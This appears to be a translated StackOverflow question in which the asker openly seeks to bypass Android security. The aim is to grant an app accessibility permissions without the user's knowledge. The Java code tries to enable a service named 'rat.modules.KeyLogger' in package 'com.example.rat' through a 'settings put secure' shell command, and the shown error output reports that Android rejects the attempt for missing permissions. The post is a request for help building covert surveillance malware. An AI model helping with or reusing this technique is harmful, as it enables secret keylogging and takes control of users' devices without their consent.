【发布时间】:2019-03-01 07:24:54
【问题描述】:
我正在尝试绕过 Android 安全性并让我的应用程序在不要求用户这样做的情况下获得辅助功能。
在 StackOverflow 中搜索我发现这是可能的,单击here 以查看,使用InstrumentationRegistry,但是该类现在已弃用,所以我开始使用Process 类并启动您可以在上面看到的方法:
String packageName = "com.example.rat";
String serviceName = packageName+"/"+"rat.modules.KeyLogger";
String service = "enabled_accessibility_services";
String cmd = "settings put secure "+service+" "+serviceName;
System.out.println("Command: "+cmd);
Scanner s = new Scanner(cmd);
s.useDelimiter(" ");
Process p = Runtime.getRuntime().exec(new String[]{s.next(),s.next(),s.next(),s.next(),s.next()});
String error = "";
String line = "";
BufferedReader br = new BufferedReader(new InputStreamReader(p.getErrorStream()));
while ((line = br.readLine()) != null) {
error += line;
}
System.out.println("Response: "+error);
我从之前显示的代码中得到的错误在这里:
安全异常:您需要 MANAGE_USERS 或 CREATE_USERS 权限:查询 userjava.lang.SecurityException:您需要 MANAGE_USERS 或 CREATE_USERS 权限:在 com.android.server.pm.UserManagerService.checkManageOrCreateUsersPermission(UserManagerService.java: 1854)在 com.android.server.pm.UserManagerService.getUserInfo(UserManagerService.java:1039) 在 android.os.UserManager.getUserInfo(UserManager.java:1366) 在 com.android.providers.settings.SettingsService$MyShellCommand.onCommand (SettingsService.java:273) 在 android.os.ShellCommand.exec(ShellCommand.java:96) 在 com.android.providers.settings.SettingsService.onShellCommand(SettingsService.java:51) 在 android.os.Binder.shellCommand( Binder.java:581) 在 android.os.Binder.onTransact(Binder.java:481) 在 android.os.Binder.execTransact(Binder.java:682)
有没有办法绕过它?我对各种想法持开放态度。
【问题讨论】:
标签: java android process android-security android-accessibility